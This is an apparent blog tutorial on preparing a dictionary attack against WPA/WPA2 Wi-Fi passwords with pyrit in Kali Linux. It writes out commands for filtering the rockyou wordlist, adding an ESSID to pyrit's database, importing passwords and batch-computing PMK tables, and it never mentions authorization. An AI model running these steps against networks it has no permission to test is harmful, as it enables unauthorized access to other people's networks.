Cracking Wifi WPA/WPA2 passwords using pyrit cowpatty in Kali Linux

Dictionary attack .cap capture file to crack Wifi password

To do a Dictionary attack, we need to grab a dictionary file.

Kali Linux provides some dictionary files as part of its standard installation. How sweet. Thanks Kali Linux Dev team.

Let’s copy one of best dictionary file to root directory.

cp /usr/share/wordlists/rockyou.txt.gz .

Unzip it.

gunzip rockyou.txt.gz

Because WPA2 minimum password requirement is 8 characters, let’s parse this file to filter out any passwords that is less than 8 characters and more than 63 characters. (well, you could just leave this line, but it is completely up to you). So we are saving this file as newrockyou.txt name.

cat rockyou.txt | sort | uniq | pw-inspector -m 8 -M 63 > newrockyou.txt

Let’s see how many passwords this file contains:

wc -l newrockyou.txt

That’s a whopping 9606665 passwords.

Original file contained even more..

wc -l rockyou.txt

That’s 14344392 passwords. So we made this file shorter which means we can test more AP’s in less time.

Finally, lets rename this file to wpa.lst.

mv newrockyou.txt wpa.lst

Create ESSID in Pyrit Database

Now we need to create ESSID in Pyrit Database.

pyrit –e BigPond create_essid

NOTE: If you have an AP that’s got Space it in, example: “NetComm Wireless” then your command will become like this:

pyrit -e 'NetComm Wireless' create_essid

I know a lot of the people struggles with this issue :)

Awesome, now we have our ESSID added to Pyrit Database.

Import Dictionary in Pyrit

Now that we have our ESSID added to Pyrit database, lets go an import our Password Dictionary.

Use the following command to import previously created password dictionary wpa.lst to Pyrit Database.

pyrit -i /root/cudacapture/wpa.lst import_passwords

Create tables in Pyrit using batch process

We now need to batch process to create tables.

This is simple, just issue the following command

pyrit batch

Because I’m on a laptop with a crappy AMD 7500 graphics card, I’m getting only 15019 PMKs per second (that includes my CAL++). If you got a more powerful Graphics card and managed to install either CUDA for NVIDIA Graphics card or CAL++ for AMD Cards, your speed will be a lot more.

Oh, and I just took this awesome screenshot while Pyrit was doing the batch processing. Check out my CPU usage, it’s hitting absolutely 100%.

Also check out my temperature of my cores:

You should be careful how big your dictionary file is and how HOT your CPU and Graphics card is burning. Use extra cooling if you can to avoid damage.